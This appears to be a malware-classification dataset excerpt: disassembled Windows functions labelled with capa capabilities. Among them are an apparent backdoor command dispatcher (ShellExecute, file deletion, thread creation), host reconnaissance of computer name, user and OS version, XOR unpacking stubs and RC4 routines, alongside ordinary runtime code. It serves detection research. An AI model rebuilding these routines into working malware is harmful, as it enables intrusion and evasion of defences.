joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403920
Capabilities:
Create process on windows
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
push esi
push edi
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
mov dword [ebp - 0x2d4], ecx
mov edx, dword [ebp - 0x2d4]
sub edx, 4
mov dword [ebp - 0x2d4], edx
cmp dword [ebp - 0x2d4], 0xdb
ja case.0x40396a.1
mov eax, dword [ebp - 0x2d4]
movzx ecx, byte [eax + 0x403bc4]
jmp dword [ecx*4 + 0x403b90]
call fcn.004037f0
call fcn.00403780
jmp case.0x40396a.1
call fcn.00403780
jmp case.0x40396a.1
mov edx, dword [section..data]
push edx
call fcn.004035f0
add esp, 4
jmp case.0x40396a.1
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 1]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004035a0
add esp, 4
mov dword [ebp - 8], eax
push 5
push 0
lea eax, [ebp - 0x14]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 4
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x14]
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
push 0
push 3
push 4
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [section..data]
push ecx
call fcn.00401960
jmp case.0x40396a.1
mov edx, dword [ebp + 8]
add edx, 1
push edx
push 0x407604
push 0x40b438
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x40b438
mov eax, dword [section..data]
push eax
call fcn.00402ad0
add esp, 8
jmp case.0x40396a.1
mov ecx, dword [section..data]
push ecx
call section..text
jmp case.0x40396a.1
mov edx, dword [ebp + 8]
add edx, 1
push edx
push 0x407608
push 0x40b438
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x40b438
mov eax, dword [section..data]
push eax
call fcn.00401130
jmp case.0x40396a.1
push 0
push 0
push 0xb8
lea ecx, [ebp - 0xd0]
push ecx
mov edx, dword [section..data]
push edx
call fcn.00401ac0
sub esp, 0xb8
mov ecx, 0x2e
lea esi, [ebp - 0xd0]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov eax, dword [section..data]
push eax
call fcn.00401420
jmp case.0x40396a.1
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x40760c
push 0x40b438
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0
push 0
push 0
push 0x403ca0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40396a.1
push 0xff
push 0
lea edx, [ebp - 0x1d0]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x407610
lea ecx, [ebp - 0x1d0]
push ecx
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
lea edx, [ebp - 0x1d0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp case.0x40396a.1
push 0xff
push 0
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x407614
lea edx, [ebp - 0x2d0]
push edx
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 1
push 0
push 0
lea eax, [ebp - 0x2d0]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp case.0x40396a.1
cmp dword [0x40b838], 0
jne case.0x40396a.1
push 0
push 0
push 0
push 0x403da0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405df0
Capabilities:
Check os version
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ac
mov dword [ebp - 0x20c], 0x100
push 0x100
push 0
lea eax, [ebp - 0x100]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x100]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x405e38
xor al, al
jmp 0x406030
mov eax, dword [ebp - 0x20c]
mov byte [ebp + eax - 0x100], 0
mov ecx, dword [ebp + 8]
mov byte [ecx], 0
lea edx, [ebp - 0x100]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.MSVCR100.dll_strcat
add esp, 8
mov dword [ebp - 0x104], 0x100
push 0x100
push 0
lea ecx, [ebp - 0x208]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x405e9e
xor al, al
jmp 0x406030
mov ecx, dword [ebp - 0x104]
mov byte [ebp + ecx - 0x208], 0
push 0x407620
mov edx, dword [ebp + 8]
push edx
call sub.MSVCR100.dll_strcat
add esp, 8
lea eax, [ebp - 0x208]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
mov edx, dword [ebp + 8]
mov byte [edx + 0x40], 0
push 0x94
push 0
lea eax, [ebp - 0x2a8]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [ebp - 0x2a8], 0x94
lea ecx, [ebp - 0x2a8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x405f0f
xor al, al
jmp 0x406030
mov edx, dword [ebp - 0x298]
mov dword [ebp - 0x2ac], edx
cmp dword [ebp - 0x2ac], 1
je 0x405fc7
cmp dword [ebp - 0x2ac], 2
je 0x405f36
jmp 0x406013
cmp dword [ebp - 0x2a4], 5
jne 0x405f5c
cmp dword [ebp - 0x2a0], 2
jne 0x405f5c
push str.Windows2003
mov eax, dword [ebp + 8]
add eax, 0x40
push eax
call sub.MSVCR100.dll_strcat
add esp, 8
cmp dword [ebp - 0x2a4], 5
jne 0x405f82
cmp dword [ebp - 0x2a0], 1
jne 0x405f82
push str.WindowsXP
mov ecx, dword [ebp + 8]
add ecx, 0x40
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
cmp dword [ebp - 0x2a4], 5
jne 0x405fa8
cmp dword [ebp - 0x2a0], 0
jne 0x405fa8
push str.Windows2000
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call sub.MSVCR100.dll_strcat
add esp, 8
cmp dword [ebp - 0x2a4], 4
ja 0x405fc5
push str.WindowsNT
mov eax, dword [ebp + 8]
add eax, 0x40
push eax
call sub.MSVCR100.dll_strcat
add esp, 8
jmp 0x406013
cmp dword [ebp - 0x2a4], 4
jne 0x405fed
cmp dword [ebp - 0x2a0], 0
jne 0x405fed
push str.Windows95
mov ecx, dword [ebp + 8]
add ecx, 0x40
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
cmp dword [ebp - 0x2a4], 4
jne 0x406013
cmp dword [ebp - 0x2a0], 0xa
jne 0x406013
push str.Windows98
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call sub.MSVCR100.dll_strcat
add esp, 8
mov eax, dword [ebp + 8]
mov byte [eax + 0x4c], 0
push str.060211
mov ecx, dword [ebp + 8]
add ecx, 0x4c
push ecx
call sub.MSVCR100.dll_strcpy
add esp, 8
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401180
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401199
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4011d4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4011d0
lea ebx, [ebx]
cmp esi, eax
jae 0x4011d4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4011c0
cmp esi, eax
jb 0x4011da
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x401830
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42aaeb
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x43a1f0]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
lea ecx, [esi + 8]
mov dword [esi], vtable.ActiveScriptSite.1.0
mov dword [esi + 4], vtable.ActiveScriptSite.0
call fcn.00401430
lea ecx, [esi + 0x1c]
mov dword [esp + 0x14], 0
call fcn.00407fbe
mov eax, 1
mov dword [esi + 0x38], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x30], 0
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret

Function at 0x402f10
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42aef8
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x43a1f0]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
call fcn.0040fe90
xor eax, eax
mov dword [esi], vtable.CEnumVariant.0
mov dword [esi + 0x30], vtable.CEnumVariant::XEnumVARIANT.0
mov dword [esp + 0x14], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
call fcn.0041020a
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret

Function at 0x404560
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
mov edi, ecx
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404570
sub eax, edx
mov dword [esp + 0x10], eax
lea ecx, [edi + 0x20]
mov eax, edi
xor ebx, ebx
sub eax, ecx
lea ebp, [eax + 0x120]
lea esp, [esp]
xor edx, edx
mov eax, ebx
div dword [esp + 0x10]
mov eax, dword [esp + 0x18]
lea esi, [ecx + ebx]
mov dl, byte [edx + eax]
mov byte [esi], bl
inc ebx
cmp ebx, 0xff
mov byte [esi + ebp], dl
jle 0x404590
xor eax, eax
mov edx, ecx
mov esi, 0x100
lea esp, [esp]
mov cl, byte [edx]
movzx ebx, byte [edx + 0x100]
movzx ebp, cl
add ebx, eax
add ebp, ebx
mov eax, ebp
and eax, 0x800000ff
jns 0x4045e0
dec eax
or eax, 0xffffff00
inc eax
movzx eax, al
mov bl, byte [eax + edi + 0x20]
mov byte [edx], bl
inc edx
sub esi, 1
mov byte [eax + edi + 0x20], cl
jne 0x4045c0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4
Function at 0x404630
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
push edi
lea ebp, [ebx + 1]
push ebp
mov esi, ecx
call fcn.00407b54
push ebp
mov edi, eax
push 0
push edi
mov dword [esp + 0x20], edi
call fcn.0041a2d0
mov eax, dword [esp + 0x30]
add esp, 0x10
push eax
mov ecx, esi
call fcn.00404560
test ebx, ebx
jbe 0x4046eb
mov ebp, dword [esp + 0x18]
xor eax, eax
xor ecx, ecx
sub ebp, edi
mov dword [esp + 0x1c], ebx
inc eax
and eax, 0x800000ff
jns 0x404687
dec eax
or eax, 0xffffff00
inc eax
movzx eax, al
mov dl, byte [eax + esi + 0x20]
movzx ebx, dl
add ecx, ebx
and ecx, 0x800000ff
jns 0x4046a3
dec ecx
or ecx, 0xffffff00
inc ecx
movzx ecx, cl
mov bl, byte [ecx + esi + 0x20]
mov byte [eax + esi + 0x20], bl
mov byte [ecx + esi + 0x20], dl
movzx ebx, byte [eax + esi + 0x20]
movzx edx, dl
add ebx, edx
and ebx, 0x800000ff
jns 0x4046cc
dec ebx
or ebx, 0xffffff00
inc ebx
movzx edx, byte [ebx + esi + 0x20]
xor dl, byte [edi + ebp]
inc edi
sub dword [esp + 0x1c], 1
mov byte [edi - 1], dl
jne 0x404678
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
Function at 0x40eda2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40ede9
call fcn.00409040
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40ede9
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40ee05
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040e91a
mov esi, eax
test edi, edi
je 0x40ee03
test ebx, ebx
je 0x40ee03
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4192e1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x419305
cmp dword [edi + 0x54], 0
jne 0x419305
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.00409040
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004192a2
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41a730
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43a1f0]
jne 0x41a73a
repz ret
jmp fcn.004210bc
Function at 0x424000
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041ce41
and dword [ebp - 4], 0
cmp dword [0x43e078], 0
mov ebx, eax
jne 0x4240b1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x424162
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x424162
push eax
call fcn.0041cdcf
mov dword [esp], 0x431e04
push edi
mov dword [0x43e078], eax
call esi
push eax
call fcn.0041cdcf
mov dword [esp], 0x431df0
push edi
mov dword [0x43e07c], eax
call esi
push eax
call fcn.0041cdcf
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43e080], eax
call esi
push eax
call fcn.0041cdcf
pop ecx
mov dword [0x43e088], eax
test eax, eax
je 0x4240b1
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041cdcf
pop ecx
mov dword [0x43e084], eax
mov eax, dword [0x43e084]
cmp eax, ebx
je 0x424109
cmp dword [0x43e088], ebx
je 0x424109
push eax
call fcn.0041ce4a
push dword [0x43e088]
mov esi, eax
call fcn.0041ce4a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x424109
test edi, edi
je 0x424109
call esi
test eax, eax
je 0x424100
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x424100
test byte [ebp - 0xc], 1
jne 0x424109
or dword [ebp + 0x10], 0x200000
jmp 0x424142
mov eax, dword [0x43e07c]
cmp eax, ebx
je 0x424142
push eax
call fcn.0041ce4a
pop ecx
test eax, eax
je 0x424142
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x424142
mov eax, dword [0x43e080]
cmp eax, ebx
je 0x424142
push eax
call fcn.0041ce4a
pop ecx
test eax, eax
je 0x424142
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43e078]
call fcn.0041ce4a
pop ecx
test eax, eax
je 0x424162
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x424164
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x420110
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004269a0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004269a0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x420170
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0xcf607c]
test esi, esi
jle 0x420290
mov eax, dword [0xcf6080]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x4201a4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x420227
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x420190
mov dword [esp], ebx
call fcn.00420af0
mov edi, eax
test eax, eax
je 0x4202b7
mov eax, dword [0xcf6080]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00420c30
mov edx, dword [0xcf6080]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x420297
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x420220
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x420230
add dword [0xcf607c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0xcf6080]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x420220
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00420110
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4201ae
mov eax, dword [0xcf6080]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00420110
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00420110
lea esi, [esi]
nop
Function at 0x420770
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0xcf6098
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0xcf6090]
sub esp, 4
test ebx, ebx
je 0x4207c5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4207be
test esi, esi
je 0x4207be
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4207a0
mov dword [esp], 0xcf6098
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x420af0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x420b15
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x420b20
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x420b15
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x420b68
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x420b5e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x420b6a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x420b50
xor eax, eax
pop ebx
pop esi
ret
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x49365e47
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x759d6b63
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..wixburn
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0xf374dae
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..pdata
mov ebx, 0x42f314
nop
nop
mov ecx, 0x52741d4b
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401a20
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x54
push ebx
push ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0x3c]
rep stosd dword es:[edi], eax
mov dword [esp + 0x3c], eax
mov eax, dword [sym.imp.USER32.dll_DefWindowProcA]
push 0
mov dword [esp + 0x44], eax
call ebx
lea ecx, [esp + 0x3c]
mov dword [esp + 0x4c], eax
push ecx
mov dword [esp + 0x64], str.Warcraft_III_Root
call dword [sym.imp.USER32.dll_RegisterClassA]
mov ebp, dword [sym.imp.USER32.dll_GetDesktopWindow]
lea edx, [esp + 0x10]
push edx
call ebp
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
add eax, ecx
push 0
cdq
sub eax, edx
mov edx, dword [esp + 0x18]
mov esi, eax
mov eax, dword [esp + 0x20]
add eax, edx
push 0
cdq
sub eax, edx
mov edi, eax
sar esi, 1
sar edi, 1
sub esi, 0x10
sub edi, 0x10
call ebx
push eax
push 0
call ebp
push eax
push 0x10
push 0x10
push edi
push esi
push 0x80000000
push str.Launching_Warcraft_III
push str.Warcraft_III_Root
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 1
push eax
mov dword [0x40aae0], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [0x40aae0]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
mov edx, dword [0x40aae0]
mov esi, dword [sym.imp.USER32.dll_PeekMessageA]
push 0
push 0
push 0
lea eax, [esp + 0x2c]
push edx
push eax
call esi
test eax, eax
je 0x401b4a
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
mov ebx, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebp, dword [sym.imp.USER32.dll_DispatchMessageA]
mov ecx, dword [0x40aae0]
push 0
push 0
lea edx, [esp + 0x28]
push ecx
push edx
call edi
lea eax, [esp + 0x20]
push eax
call ebx
lea ecx, [esp + 0x20]
push ecx
call ebp
mov edx, dword [0x40aae0]
push 0
push 0
push 0
lea eax, [esp + 0x2c]
push edx
push eax
call esi
test eax, eax
jne 0x401b12
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x54
ret

Function at 0x401b60
Capabilities:
Create thread

Disassembly:
push esi
call fcn.00401a20
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 1
push 0
mov dword [0x40aaec], 1
call esi
push 0
push 0
push 1
push 0
mov dword [0x40aae4], eax
call esi
push 0
push 0x2000
push 0x401870
mov dword [0x40aae8], eax
call fcn.0040201b
mov eax, dword [0x40aae0]
add esp, 0xc
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [0x40aae0]
pop esi
ret